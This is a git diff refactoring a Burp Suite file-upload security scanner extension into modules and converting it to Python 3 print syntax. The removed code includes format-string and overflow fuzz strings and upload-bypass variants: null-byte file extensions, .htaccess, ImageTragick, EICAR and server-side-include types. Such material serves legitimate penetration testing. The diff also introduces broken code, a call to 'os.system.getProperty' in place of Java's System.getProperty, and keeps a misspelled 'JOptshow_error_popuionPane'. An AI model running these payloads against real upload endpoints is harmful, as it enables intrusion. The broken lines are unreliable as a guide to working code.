diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..49c6b1d
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,3 @@
+.vscode
+.jython_chache/
+*$py.class
\ No newline at end of file
diff --git a/.idea/.gitignore b/.idea/.gitignore
new file mode 100644
index 0000000..26d3352
--- /dev/null
+++ b/.idea/.gitignore
@@ -0,0 +1,3 @@
+# Default ignored files
+/shelf/
+/workspace.xml
diff --git a/.idea/UpdatedBurpUploadScanner.iml b/.idea/UpdatedBurpUploadScanner.iml
new file mode 100644
index 0000000..30f2127
--- /dev/null
+++ b/.idea/UpdatedBurpUploadScanner.iml
@@ -0,0 +1,14 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/inspectionProfiles/profiles_settings.xml b/.idea/inspectionProfiles/profiles_settings.xml
new file mode 100644
index 0000000..105ce2d
--- /dev/null
+++ b/.idea/inspectionProfiles/profiles_settings.xml
@@ -0,0 +1,6 @@
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/misc.xml b/.idea/misc.xml
new file mode 100644
index 0000000..214c8a0
--- /dev/null
+++ b/.idea/misc.xml
@@ -0,0 +1,4 @@
+
+
+
+
\ No newline at end of file
diff --git a/.idea/modules.xml b/.idea/modules.xml
new file mode 100644
index 0000000..373ce13
--- /dev/null
+++ b/.idea/modules.xml
@@ -0,0 +1,8 @@
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/vcs.xml b/.idea/vcs.xml
new file mode 100644
index 0000000..35eb1dd
--- /dev/null
+++ b/.idea/vcs.xml
@@ -0,0 +1,6 @@
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.jython_cache/packages/jython.pkc b/.jython_cache/packages/jython.pkc
new file mode 100644
index 0000000..8acbd36
Binary files /dev/null and b/.jython_cache/packages/jython.pkc differ
diff --git a/.jython_cache/packages/packages.idx b/.jython_cache/packages/packages.idx
new file mode 100644
index 0000000..1dd33d9
Binary files /dev/null and b/.jython_cache/packages/packages.idx differ
diff --git a/UploadScanner.py b/UploadScanner.py
index 132ebce..7b2b451 100755
--- a/UploadScanner.py
+++ b/UploadScanner.py
@@ -1,118 +1,57 @@
-#!/usr/bin/python
-# -*- coding: utf-8 -*-
-"""
- Upload Scanner extension for the Burp Suite Proxy
- Adds various security checks that can be used for
- web applications that allow file upload
- Copyright (C) 2017 floyd
-
-Created on Feb 24, 2017
-@author: floyd, http://floyd.ch, @floyd_ch, modzero AG, https://www.modzero.ch, @mod0
-"""
-
-# Developed when using Firefox, but short tests showed it works fine with IE, Chrome and Edge
-# Tested on OSX primarily, but worked fine on Windows (including tests with exiftool.exe)
-
-# Rules for unicode support in this extension: when Java APIs are used, everything is converted straight away to str
-# with FloydsHelpers.u2s, str works best for me as "bytes" in python2. If we get byte[] from Java, we use the
-# FloydsHelpers.jb2ps helper. Take care when we get back more complex objects from Java, make sure attributes of
-# those objects are encoded with these two methods before usage.
+# python stdlib imports
+import os # local paths parsing etc.
+import pickle # persisting object serialization between extension reloads
+import random # to chose randomly
+import string # ascii letters to chose random file name from
+import sys # to show detailed exception traces
+import textwrap # to wrap request texts after a certain amount of chars
+import threading # to make stuff thread safe
+import traceback # to show detailed exception traces
+import urllib # URL encode etc.
-# Burp imports
from burp import IBurpExtender
-from burp import IScannerInsertionPoint
-from burp import IScannerCheck
-from burp import IScanIssue
-from burp import IHttpRequestResponse
-from burp import IHttpListener
-from burp import ITab
-from burp import IMessageEditorController
-from burp import IScannerInsertionPointProvider
-from burp import IHttpService
from burp import IContextMenuFactory
from burp import IExtensionStateListener
-# Java stdlib imports
+from burp import IHttpListener
+from burp import IScannerCheck
+from burp import IScannerInsertionPoint
+from burp import IScannerInsertionPointProvider
+from burp import ITab
+
+from java.awt import Desktop
+from java.net import URI
from java.util import ArrayList
-from javax.swing import JLabel
-from javax.swing import JScrollPane
-from javax.swing import JButton
-from javax.swing import JSplitPane
-from javax.swing import JTextField
-from javax.swing import JTabbedPane
-from javax.swing import JTable
-from javax.swing import JPanel
-from javax.swing import JTextPane
-from javax.swing import JFileChooser
-from javax.swing import JCheckBox
-from javax.swing import JOptionPane
-from javax.swing import JMenuItem
-from javax.swing import AbstractAction
-from javax.swing import BorderFactory
+from javax.swing import JTabbedPane, JScrollPane, JLabel, JSplitPane, JMenuItem, JOptionPane
from javax.swing import SwingConstants
from javax.swing.table import AbstractTableModel
-from javax.swing.event import DocumentListener
-from java.awt import Font
-from java.awt import Color
-from java.awt import Insets
-from java.awt import GridBagLayout
-from java.awt import GridBagConstraints
-from java.awt import Image
-from java.awt import Desktop
-from java.awt import Dimension
-from java.awt import RenderingHints
-from java.awt.event import ActionListener
-from java.awt.image import BufferedImage
-from java.io import ByteArrayOutputStream
-from java.io import ByteArrayInputStream
-from javax.imageio import ImageIO
-from java.net import URI
-from java.net import URL
-from java.nio.file import Files
-from java.lang import Thread
-from java.lang import IllegalStateException
-from java.lang import System
-# python stdlib imports
-from io import BytesIO # to mimic file IO but do it in-memory
-import tempfile # to make temporary files for exiftool to process
-import subprocess # to call exiftool
-import re # to check if exiftool name only consist of alphanum.- and to detect passwd files in downloads
-import random # to chose randomly
-import string # ascii letters to chose random file name from
-import urllib # URL encode etc.
-import time # detect timeouts and sleep for Threads
-import os # local paths parsing etc.
-import stat # To make exiftool executable executable
-import copy # copying str/lists if a duplicate is necessary
-import struct # Little/Big endian attack strings
-import imghdr # Detecting mime types
-import mimetypes # Detecting mime types
-import cgi # for HTML escaping
-import urlparse # urlparser for custom HTTP services
-import zipfile # to create evil zip files in memory
-import sys # to show detailed exception traces
-import traceback # to show detailed exception traces
-import textwrap # to wrap request texts after a certain amount of chars
-import binascii # for the fingerping module
-import zlib # for the fingerping module
-import itertools # for the fingerping module
-import threading # to make stuff thread safe
-import pickle # persisting object serialization between extension reloads
-import ast # to parse ${PYTHONSTR:'abc\ndef'} into a python str
-from jarray import array # to go from python list to Java array
-# Developer debug mode
-global DEBUG_MODE
-DEBUG_MODE = False
+from checks.checks import Checks
+from debuging.debug import DEBUG_MODE
+from helpers.FloydsHelpers import FloydsHelpers
+from injectors.FlexiInjector import FlexiInjector
+from injectors.MultipartInjector import MultipartInjector
+from insertionPoints.InsertionPointProviderForActiveScan import InsertionPointProviderForActiveScan
+from misc.Constants import Constants
+from misc.CustomHttpService import CustomHttpService
+from misc.CustomRequestResponse import CustomRequestResponse
+from misc.Downloader import DownloadMatcherCollection
+from misc.Misc import CloseableTab
+from misc.Misc import MenuItemAction
+from misc.Misc import Readme
+from misc.ScanController import ScanController
+from ui.LogEntry import LogEntry
+from ui.OptionsPanel import OptionsPanel
+from ui.Table import Table
if DEBUG_MODE:
# Hint: Module "gc" garbage collector is not fully implemented in Jython as it uses the Java garbage collector
# see https://answers.launchpad.net/sikuli/+question/160893
- import profile # For profiling to fix performance problems
- import pdb # For debugging
+ pass
# Use this to do debugging on command line:
# if DEBUG_MODE:
# pdb.set_trace()
+
# Glossary to read this code
# brr: abbrevation for BaseRequestRespnse, it's of class IHttpRequestResponse
# urr: abbrevation UploadRequestsResponses, see class UploadRequestsResponses,
@@ -121,41 +60,13 @@
# these are cut down in the function get_types, eg. when we detect that the content
# type is not sent at all in the request
-
class BurpExtender(IBurpExtender, IScannerCheck,
AbstractTableModel, ITab, IScannerInsertionPointProvider,
IHttpListener, IContextMenuFactory, IExtensionStateListener):
- # Internal constants/read-only:
- DOWNLOAD_ME = "Dwld"
- MARKER_URL_CONTENT = "A_FILENAME_PLACEHOLDER_FOR_THE_DESCRIPTION_NeVeR_OcCuRs_iN_ReAl_WoRlD_DaTa"
- MARKER_ORIG_EXT = 'ORIG_EXT'
- MARKER_COLLAB_URL = "http://example.org/"
- MARKER_CACHE_DEFEAT_URL = "https://example.org/cachedefeat/"
- NEWLINE = "\r\n"
- REGEX_PASSWD = re.compile("[^:]{3,20}:[^:]{1,100}:\d{0,20}:\d{0,20}:[^:]{0,100}:[^:]{0,100}:[^:]*$")
- # TODO: If we just add \\ the extension uploads *a lot more* files... worth doing?
- PROTOCOLS_HTTP = (
- # 'ftp://',
- # 'smtp://',
- # 'mailto://',
- # The following is \\ for Windows servers...
- # '\\\\',
- 'http://',
- 'https://',
- )
- MAX_SERIALIZED_DOWNLOAD_MATCHERS = 500
- MAX_RESPONSE_SIZE = 300000 # 300kb
-
- # ReDownloader constants/read-only:
- REDL_URL_BAD_HEADERS = ("content-length:", "accept:", "content-type:", "referer:")
- REDL_FILENAME_MARKER = "${FILENAME}"
- PYTHON_STR_MARKER_START = "${PYTHONSTR:"
- PYTHON_STR_MARKER_END = "}"
-
# Implement IBurpExtender
def registerExtenderCallbacks(self, callbacks):
- print "Extension loaded"
+ print("Extension loaded")
self._callbacks = callbacks
self._helpers = callbacks.getHelpers()
@@ -166,358 +77,32 @@ def registerExtenderCallbacks(self, callbacks):
callbacks.setExtensionName("Upload Scanner")
- # A lock to make things thread safe that access extension level globals
- # Attention: use wisely! On MacOS it seems to be fine that a thread has the lock
- # and acquires it again, that's fine. However, on Windows acquiring the same lock
- # in the same thread twice will result in a thread lock and everything will halt!
- self.globals_write_lock = threading.Lock()
-
# only set here at the beginning once, then constant
- self.FILE_START = ''.join(random.sample(string.ascii_letters, 4))
+ Constants.FILE_START = ''.join(random.sample(string.ascii_letters, 4))
# Internal vars/read-write:
self._log = ArrayList()
# The functions of DownloadMatcherCollection are thread safe
self.dl_matchers = DownloadMatcherCollection(self._helpers)
- # TODO Burp API limitation: IBurpCollaboratorClientContext persistence
- # Find out if CollaboratorMonitorThread is already running.
- # Although this works and we can find our not-killed Thread, it will not have the
- # functions of CollaboratorMonitorThread, so for example the "add" function
- # isn't there anymore.
- # for thread in Thread.getAllStackTraces().keySet():
- # print thread.getName()
- # if thread.name == CollaboratorMonitorThread.NAME:
- # print "Found running CollaboratorMonitorThread, reusing"
- # self.collab_monitor_thread = thread
- # self.collab_monitor_thread.resume(self)
- # break
- # else:
- # # No break occured on the for loop
- # # Create a new thread
- # print "No CollaboratorMonitorThread found, starting a new one"
- # self.collab_monitor_thread = CollaboratorMonitorThread(self)
- # self.collab_monitor_thread.start()
-
- self.collab_monitor_thread = CollaboratorMonitorThread(self)
- self.collab_monitor_thread.start()
+ # A lock to make things thread safe that access extension level globals
+ # Attention: use wisely! On MacOS it seems to be fine that a thread has the lock
+ # and acquires it again, that's fine. However, on Windows acquiring the same lock
+ # in the same thread twice will result in a thread lock and everything will halt!
+ self.globals_write_lock = threading.Lock()
self._warned_flexiinjector = False
self._no_of_errors = 0
self._ui_tab_index = 1
self._option_panels = {}
- # Internal vars fuzzer (read only)
- self.KNOWN_FUZZ_STRINGS = [
- "A" * 256,
- "A" * 1024,
- "A" * 4096,
- "A" * 20000,
- "A" * 65535,
- "%x" * 256,
- "%n" * 256,
- "%s" * 256,
- "%s%n%x%d" * 256,
- "%s" * 256,
- "%.1024d",
- "%.2048d",
- "%.4096d",
- "%.8200d",
- "%99999999999s",
- "%99999999999d",
- "%99999999999x",
- "%99999999999n",
- "%99999999999s" * 200,
- "%99999999999d" * 200,
- "%99999999999x" * 200,
- "%99999999999n" * 200,
- "%08x" * 100,
- "%%20s" * 200,
- "%%20x" * 200,
- "%%20n" * 200,
- "%%20d" * 200,
- "%#0123456x%08x%x%s%p%n%d%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%#0123456x%%x%%s%%p%%n%%d%%o%%u%%c%%h%%l%%q%%j%%z%%Z%%t%%i%%e%%g%%f%%a%%C%%S%%08x",
- "'",
- "\\",
- "<",
- "+",
- "%",
- "$",
- "`"
- ]
-
- # End internal vars
-
- # The "*_types" variables define which prefix, file extension
- # and mime type is sent for the tests:
- # prefix, file extension, mime type
- # empty prefix = don't use prefix in front of filename
- # empty file extension = don't use/cut the filename's file extension
- # file extension == self._magick_original_extension, don't change whatever was there
- # empty mime type = use default mime type found in the original base request
-
- # The different extensions can vary in several ways:
- # - the original extension the file had that was uploaded in the base request, self._marker_orig_ext, eg. .png
- # - the payload extension, for example if we upload php code it would be .php
- # - the real file extension, for example .gif if we produced a gif file that has php code in the comment
-
- # TODO feature: Go through all TYPES and decide if .ORIG%00.EVIL makes sense as well as .EVIL%00.ORIG
- # TODO feature: Additionally: maybe randomize casing, eg. .PdF?
- # TODO feature: Reasoning about what _TYPES we should use. Make a big table that show what combinations we
- # can send and which checks on the server side could be present. For each combination, note if the upload
- # would succeed. Then rate the server side checks for likelihood to be implemented on a server (biased). In
- # a next step, take real world samples and check manually to confirm rough likelihood... There are so many
- # factors:
- # CT whitelist (often in place)
- # EXT whitelist (often in place but surprisingly often not as well...)
- # CONTENT whitelist (eg. is it a PNG?)
- # CONTENT transformation (convert PNG to PNG with software X)
- # Checks CT matches EXT -> I get the impression this is rarely done
- # Checks CT matches CONTENT -> I get the impression this is rarely done
- # Checks EXT matches CONTENT
- # etc.
-
- # The following var is a special case when we detect that the request doesn't include
- # the filename or content-type (e.g. Vimeo image avatar upload), so we don't do 30
- # identical requests with the exact same content. See the get_types function.
- self.NO_TYPES = {'', '', ''}
-
- # ImageTragick types
- self.IM_SVG_TYPES = {
- # ('', '', ''),
- ('', BurpExtender.MARKER_ORIG_EXT, ''),
- ('', '', 'image/png'),
- ('', '.svg', 'image/svg+xml'),
- # ('', '.svg', 'text/xml'),
- ('', '.png', 'image/png'),
- # ('', '.jpeg', 'image/jpeg')
- }
-
- # Interesting fact: image/jpeg is not the only jpeg mime type sent by browsers::
- # image/pjpeg
- # image/x-citrix-pjpeg
- # And also:
- # image/x-citrix-gif
-
- self.IM_MVG_TYPES = {
- # ('', '', ''),
- ('', BurpExtender.MARKER_ORIG_EXT, ''),
- ('', '', 'image/png'),
- ('', '.mvg', ''),
- ('', '.mvg', 'image/svg+xml'),
- ('', '.png', 'image/png'),
- # ('', '.jpeg', 'image/jpeg'),
- ('mvg:', '.mvg', ''),
- # ('mvg:', '.mvg', 'image/svg+xml'),
- }
-
- # Xbm black/white pictures
- self.XBM_TYPES = {
- # ('', '', ''),
- ('', BurpExtender.MARKER_ORIG_EXT, ''),
- ('', '.xbm', ''),
- ('', '.xbm', 'image/x-xbm'),
- ('', '.xbm', 'image/png'),
- ('xbm:', BurpExtender.MARKER_ORIG_EXT, ''),
- }
-
- # Ghostscript types
- self.GS_TYPES = {
- ('', BurpExtender.MARKER_ORIG_EXT, ''),
- ('', '.gs', ''),
- ('', '.eps', ''),
- ('', BurpExtender.MARKER_ORIG_EXT, 'text/plain'),
- ('', '.jpeg', 'image/jpeg'),
- ('', '.png', 'image/png'),
- }
-
- # LibAvFormat types
- self.AV_TYPES = {
- # ('', '', ''),
- ('', BurpExtender.MARKER_ORIG_EXT, ''),
- ('', BurpExtender.MARKER_ORIG_EXT, 'audio/mpegurl'),
- ('', BurpExtender.MARKER_ORIG_EXT, 'video/x-msvideo'),
- # ('', '.m3u8', 'application/vnd.apple.mpegurl'),
- ('', '.m3u8', 'application/mpegurl'),
- # ('', '.m3u8', 'application/x-mpegurl'),
- ('', '.m3u8', 'audio/mpegurl'),
- # ('', '.m3u8', 'audio/x-mpegurl'),
- ('', '.avi', 'video/x-msvideo'),
- ('', '.avi', ''),
- }
-
- self.EICAR_TYPES = {
- # ('', '', ''),
- ('', BurpExtender.MARKER_ORIG_EXT, ''),
- ('', '.exe', ''),
- ('', '.exe', 'application/x-msdownload'),
- # ('', '.exe', 'application/octet-stream'),
- # ('', '.exe', 'application/exe'),
- # ('', '.exe', 'application/x-exe'),
- # ('', '.exe', 'application/dos-exe'),
- # ('', '.exe', 'application/msdos-windows'),
- # ('', '.exe', 'application/x-msdos-program'),
- ('', BurpExtender.MARKER_ORIG_EXT, ''),
- ('', BurpExtender.MARKER_ORIG_EXT, 'application/x-msdownload'),
- # ('', self._magick_original_extension, 'application/octet-stream'),
- # ('', self._magick_original_extension, 'application/exe'),
- # ('', self._magick_original_extension, 'application/x-exe'),
- # ('', self._magick_original_extension, 'application/dos-exe'),
- # ('', self._magick_original_extension, 'application/msdos-windows'),
- # ('', self._magick_original_extension, 'application/x-msdos-program'),
- }
-
- self.PL_TYPES = {
- #('', BurpExtender.MARKER_ORIG_EXT, ''),
- ('', BurpExtender.MARKER_ORIG_EXT, 'text/x-perl-script'),
- ('', '.pl', ''),
- ('', '.pl', 'text/x-perl-script'),
- ('', '.cgi', ''),
- #('', '.cgi', 'text/x-perl-script'),
- }
-
- self.PY_TYPES = {
- #('', BurpExtender.MARKER_ORIG_EXT, ''),
- ('', BurpExtender.MARKER_ORIG_EXT, 'text/x-python-script'),
- ('', '.py', ''),
- ('', '.py', 'text/x-python-script'),
- ('', '.cgi', '')
- }
-
- self.RB_TYPES = {
- #('', BurpExtender.MARKER_ORIG_EXT, ''),
- ('', BurpExtender.MARKER_ORIG_EXT, 'text/x-ruby-script'),
- ('', '.rb', ''),
- ('', '.rb', 'text/x-ruby-script'),
- }
-
- # .htaccess types
- self.HTACCESS_TYPES = {
- ('', '', ''),
- ('', '%00' + BurpExtender.MARKER_ORIG_EXT, ''),
- ('', '\x00' + BurpExtender.MARKER_ORIG_EXT, ''),
- ('', '', 'text/plain'),
- ('', '%00' + BurpExtender.MARKER_ORIG_EXT, 'text/plain'),
- ('', '\x00' + BurpExtender.MARKER_ORIG_EXT, 'text/plain'),
- }
-
- self.PDF_TYPES = {
- ('', BurpExtender.MARKER_ORIG_EXT, ''),
- ('', BurpExtender.MARKER_ORIG_EXT, 'application/pdf'),
- ('', '.pdf', ''),
- ('', '.pdf', 'application/pdf'),
- }
-
- self.URL_TYPES = {
- #('', BurpExtender.MARKER_ORIG_EXT, ''),
- #('', BurpExtender.MARKER_ORIG_EXT, 'application/octet-stream'),
- ('', '.URL', ''),
- #('', '.URL', 'application/octet-stream'),
- }
-
- self.INI_TYPES = {
- #('', BurpExtender.MARKER_ORIG_EXT, ''),
- #('', BurpExtender.MARKER_ORIG_EXT, 'application/octet-stream'),
- ('', '.ini', ''),
- #('', '.URL', 'application/octet-stream'),
- }
-
- self.ZIP_TYPES = {
- ('', BurpExtender.MARKER_ORIG_EXT, ''),
- ('', BurpExtender.MARKER_ORIG_EXT, 'application/zip'),
- ('', '.zip', ''),
- ('', '.zip', 'application/zip'),
- }
-
- self.CSV_TYPES = {
- # ('', '', ''),
- ('', BurpExtender.MARKER_ORIG_EXT, ''),
- ('', '.csv', ''),
- ('', '.csv', 'text/csv'),
- # ('', self._marker_orig_ext, ''),
- # ('', self._marker_orig_ext, 'text/csv'),
- }
-
- self.EXCEL_TYPES = {
- # ('', '', ''),
- ('', BurpExtender.MARKER_ORIG_EXT, ''),
- ('', '.xls', ''),
- ('', '.xls', 'application/vnd.ms-excel'),
- # ('', BurpExtender.MARKER_ORIG_EXT, ''),
- # ('', BurpExtender.MARKER_ORIG_EXT, 'text/application/vnd.ms-excel'),
- }
-
- self.IQY_TYPES = {
- ('', BurpExtender.MARKER_ORIG_EXT, ''),
- ('', '.iqy', ''),
- ('', '.iqy', 'application/vnd.ms-excel'),
- }
-
- # Server Side Include types
- # See also what file extensions the .htaccess module would enable!
- # It is unlikely that a server accepts content type text/html...
- self.SSI_TYPES = {
- #('', '.shtml', 'text/plain'),
- ('', '.shtml', 'text/html'),
- #('', '.stm', 'text/html'),
- #('', '.shtm', 'text/html'),
- #('', '.html', 'text/html'),
- #('', BurpExtender.MARKER_ORIG_EXT, 'text/html'),
- ('', '.shtml', ''),
- ('', '.stm', ''),
- ('', '.shtm', ''),
- ('', '.html', ''),
- ('', BurpExtender.MARKER_ORIG_EXT, ''),
- }
-
- self.ESI_TYPES = {
- ('', '.txt', 'text/plain'),
- #('', '.txt', ''),
- ('', BurpExtender.MARKER_ORIG_EXT, ''),
- }
-
- self.SVG_TYPES = {
- ('', BurpExtender.MARKER_ORIG_EXT, ''), # Server doesn't check file contents
- ('', '.svg', 'image/svg+xml'), # Server enforces matching of file ext and content type
- ('', '.svg', ''), # Server doesn't check file ext
- ('', BurpExtender.MARKER_ORIG_EXT, 'image/svg+xml'), # Server doesn't check content-type
- }
-
- self.XML_TYPES = {
- ('', BurpExtender.MARKER_ORIG_EXT, ''),
- ('', '.xml', 'application/xml'),
- ('', '.xml', 'text/xml'),
- #('', '.xml', 'text/plain'),
- ('', '.xml', ''),
- ('', BurpExtender.MARKER_ORIG_EXT, 'text/xml'),
- }
-
- self.SWF_TYPES = {
- ('', BurpExtender.MARKER_ORIG_EXT, ''),
- ('', '.swf', 'application/x-shockwave-flash'),
- ('', '.swf', ''),
- ('', BurpExtender.MARKER_ORIG_EXT, 'application/x-shockwave-flash'),
- }
-
- self.HTML_TYPES = {
- ('', BurpExtender.MARKER_ORIG_EXT, ''),
- ('', '.htm', ''),
- ('', '.html', ''),
- ('', '.htm', 'text/html'),
- #('', '.html', 'text/html'),
- ('', '.html', 'text/plain'),
- ('', '.xhtml', ''),
- #('', BurpExtender.MARKER_ORIG_EXT, 'text/html'),
- }
-
- print "Creating UI..."
+ print("Creating UI...")
self._create_ui()
with self.globals_write_lock:
- print "Deserializing settings..."
+ print("Deserializing settings...")
self.deserialize_settings()
-
# It is important these registrations are done at the end, so the global_lock is freed.
# Otherwise when still deserializing and using the context menu at the same time there
# has been a global Burp thread-lock where I had to force quit Burp :(
@@ -533,7 +118,9 @@ def registerExtenderCallbacks(self, callbacks):
# Get notified when extension is unloaded
callbacks.registerExtensionStateListener(self)
- print "Extension fully registered and ready"
+ self.checks = Checks(self)
+
+ print("Extension fully registered and ready")
def _create_ui(self):
@@ -556,17 +143,18 @@ def _create_ui(self):
self._splitpane.setRightComponent(tabs)
# OPTIONS
- self._global_opts = OptionsPanel(self, self._callbacks, self._helpers, global_options=True)
+ self._globalOptionsPanel = OptionsPanel(self, self._callbacks, self._helpers, global_options=True)
# README
self._aboutJLabel = JLabel(Readme.get_readme(), SwingConstants.CENTER)
-
+ self._aboutJLabel.putClientProperty("html.disable", None)
+
self._callbacks.customizeUiComponent(self._main_jtabedpane)
self._callbacks.customizeUiComponent(self._splitpane)
- self._callbacks.customizeUiComponent(self._global_opts)
+ self._callbacks.customizeUiComponent(self._globalOptionsPanel)
self._callbacks.customizeUiComponent(self._aboutJLabel)
- self._main_jtabedpane.addTab("Global & Active Scanning configuration", None, JScrollPane(self._global_opts), None)
+ self._main_jtabedpane.addTab("Global & Active Scanning configuration", None, JScrollPane(self._globalOptionsPanel), None)
self._main_jtabedpane.addTab("Done uploads", None, self._splitpane, None)
self._main_jtabedpane.addTab("About", None, JScrollPane(self._aboutJLabel), None)
@@ -576,11 +164,11 @@ def _create_ui(self):
# Implement IExtensionStateListener
def extensionUnloaded(self):
- self.collab_monitor_thread.extensionUnloaded()
+ self.checks.extensionUnloaded()
for index in self._option_panels:
self._option_panels[index].stop_scan(None)
self.serialize_settings()
- print "Extension unloaded"
+ print("Extension unloaded")
def serialize_settings(self):
self.save_project_setting("UploadScanner_dl_matchers", "")
@@ -588,8 +176,8 @@ def serialize_settings(self):
#self.save_project_setting("UploadScanner_collab_monitor", None)
self.save_project_setting("UploadScanner_tabs", "")
self._callbacks.saveExtensionSetting('UploadScanner_global_opts', "")
- if not self._global_opts.cb_delete_settings.isSelected():
- self._callbacks.saveExtensionSetting('UploadScanner_global_opts', pickle.dumps(self._global_opts.serialize()).encode("base64"))
+ if not self._globalOptionsPanel.cb_delete_settings.isSelected():
+ self._callbacks.saveExtensionSetting('UploadScanner_global_opts', pickle.dumps(self._globalOptionsPanel.serialize()).encode("base64"))
self.save_project_setting('UploadScanner_dl_matchers',
pickle.dumps(self.dl_matchers.serialize()).encode("base64"))
# TODO Burp API limitation: IBurpCollaboratorClientContext persistence
@@ -599,9 +187,9 @@ def serialize_settings(self):
self.save_project_setting('UploadScanner_tabs',
pickle.dumps([self._option_panels[x].serialize() for x in self._option_panels]).encode("base64"))
- print "Saved settings..."
+ print("Saved settings...")
else:
- print "Deleted all settings..."
+ print("Deleted all settings...")
def deserialize_settings(self):
try:
@@ -635,12 +223,12 @@ def deserialize_settings(self):
if k:
cm = pickle.loads(k.decode("base64"))
if cm:
- self._global_opts.deserialize(cm)
- print "Restored settings..."
+ self._globalOptionsPanel.deserialize(cm)
+ print("Restored settings...")
except:
e = traceback.format_exc()
- print "An error occured when deserializing settings. We just ignore the serialized data therefore."
- print e
+ print("An error occured when deserializing settings. We just ignore the serialized data therefore.")
+ print(e)
try:
self.save_project_setting("UploadScanner_dl_matchers", "")
@@ -649,8 +237,8 @@ def deserialize_settings(self):
self.save_project_setting("UploadScanner_tabs", "")
except:
e = traceback.format_exc()
- print "An error occured when storing empty serialize data We just ignore it for now."
- print e
+ print("An error occured when storing empty serialize data We just ignore it for now.")
+ print(e)
def save_project_setting(self, name, value):
request = "GET /"+name+" HTTP/1.0\r\n\r\n" \
@@ -669,7 +257,6 @@ def save_project_setting(self, name, value):
rr = CustomRequestResponse(name, '', CustomHttpService('http://uploadscannerextension.local/'), request, response)
self._callbacks.addToSiteMap(rr)
-
def load_project_setting(self, name):
rrs = self._callbacks.getSiteMap('http://uploadscannerextension.local/'+name)
if rrs:
@@ -681,7 +268,6 @@ def load_project_setting(self, name):
else:
return None
-
# Implement IContextMenuFactory
def createMenuItems(self, invocation): #IContextMenuInvocation
action = MenuItemAction(invocation, self)
@@ -695,7 +281,7 @@ def new_request_response(self, invocation):
# We can only work with requests that also have a response:
if not brr.getRequest() or not brr.getResponse():
- print "Tried to send a request where no response came back via context menu to the UploadScanner. Ignoring."
+ print("Tried to send a request where no response came back via context menu to the UploadScanner. Ignoring.")
else:
with self.globals_write_lock:
# right part
@@ -704,7 +290,7 @@ def new_request_response(self, invocation):
# add a reference to the ScanController to the options
options = OptionsPanel(self, self._callbacks, self._helpers, scan_controler=sc)
# Take all settings from global options:
- options.deserialize(self._global_opts.serialize(), global_to_tab=True)
+ options.deserialize(self._globalOptionsPanel.serialize(), global_to_tab=True)
self.create_tab(options, sc)
def create_tab(self, options, sc):
@@ -733,7 +319,7 @@ def tab_closed(self, index):
should_close = True
if should_close:
with self.globals_write_lock:
- print "Closing tab", index
+ print("Closing tab", index)
del self._option_panels[index]
return should_close
@@ -754,7 +340,7 @@ def show_error_popup(self, error_details, location, brr):
"you have to start Burp with a larger -Xmx argument. Other strategies might be starting a new " \
"Burp project, loading less extensions or processing less requests in general. Press 'OK' to " \
"unload the UploadScanner extension."
- response = JOptshow_error_popuionPane.showConfirmDialog(self._global_opts, full_msg, "Out of memory",
+ response = JOptshow_error_popuionPane.showConfirmDialog(self._globalOptionsPanel, full_msg, "Out of memory",
JOptionPane.OK_CANCEL_OPTION)
if response == JOptionPane.OK_OPTION:
self._callbacks.unloadExtension()
@@ -767,18 +353,18 @@ def show_error_popup(self, error_details, location, brr):
break
error_details += "\nExtension code location: " + location
except:
- print "Could not find plugin version..."
+ print("Could not find plugin version...")
try:
error_details += "\nJython version: " + sys.version
- error_details += "\nJava version: " + System.getProperty("java.version")
+ error_details += "\nJava version: " + os.system.getProperty("java.version")
except:
- print "Could not find Jython/Java version..."
+ print("Could not find Jython/Java version...")
try:
error_details += "\nBurp version: " + " ".join([x for x in self._callbacks.getBurpVersion()])
error_details += "\nCommand line arguments: " + " ".join([x for x in self._callbacks.getCommandLineArguments()])
error_details += "\nWas loaded from BApp: " + str(self._callbacks.isExtensionBapp())
except:
- print "Could not find Burp details..."
+ print("Could not find Burp details...")
self._no_of_errors += 1
if self._no_of_errors < 2:
full_msg = 'The Burp extension "Upload Scanner" just crashed. The details of the issue are at the bottom. \n' \
@@ -788,7 +374,7 @@ def show_error_popup(self, error_details, location, brr):
'be appreciated. The details of the error below can also be found in the "Extender" tab.\n' \
'Do you want to open a github issue with the details below now? \n' \
'Details: \n{}\n'.format(FloydsHelpers.u2s(error_details))
- response = JOptionPane.showConfirmDialog(self._global_opts, full_msg, full_msg,
+ response = JOptionPane.showConfirmDialog(self._globalOptionsPanel, full_msg, full_msg,
JOptionPane.YES_NO_OPTION)
if response == JOptionPane.YES_OPTION:
# Ask if it would also be OK to send the request
@@ -797,12 +383,12 @@ def show_error_popup(self, error_details, location, brr):
"along with the bug report, as otherwise a root cause analysis is likely not possible. \n" \
"You can also find this request in the Extender tab in the UploadScanner Output tab. \n\n"
request_content = textwrap.fill(repr(FloydsHelpers.jb2ps(brr.getRequest())), 100)
- print request_content
+ print(request_content)
if len(request_content) > 1000:
request_content = request_content[:1000] + "..."
request_msg += request_content
- response = JOptionPane.showConfirmDialog(self._global_opts, request_msg, request_msg,
+ response = JOptionPane.showConfirmDialog(self._globalOptionsPanel, request_msg, request_msg,
JOptionPane.YES_NO_OPTION)
if response == JOptionPane.YES_OPTION:
error_details += "\nRequest: " + request_content
@@ -822,7 +408,7 @@ def show_error_popup(self, error_details, location, brr):
def show_tab_close_popup(self):
full_msg = 'Scan still running. Burp Collaborator interactions might get lost. Are you sure you want to close the tab? \n'
- response = JOptionPane.showConfirmDialog(self._global_opts, full_msg, full_msg, JOptionPane.YES_NO_OPTION)
+ response = JOptionPane.showConfirmDialog(self._globalOptionsPanel, full_msg, full_msg, JOptionPane.YES_NO_OPTION)
if response == JOptionPane.YES_OPTION:
return True
else:
@@ -870,17 +456,17 @@ def processHttpMessage(self, _, messageIsRequest, base_request_response):
if not messageIsRequest:
resp = base_request_response.getResponse()
if not resp:
- print "processHttpMessage called with BaseRequestResponse with no response. Ignoring."
+ print("processHttpMessage called with BaseRequestResponse with no response. Ignoring.")
return
- if len(resp) >= BurpExtender.MAX_RESPONSE_SIZE:
+ if len(resp) >= Constants.MAX_RESPONSE_SIZE:
# Don't look at responses longer than MAX_RESPONSE_SIZE
return
req = base_request_response.getRequest()
if not req:
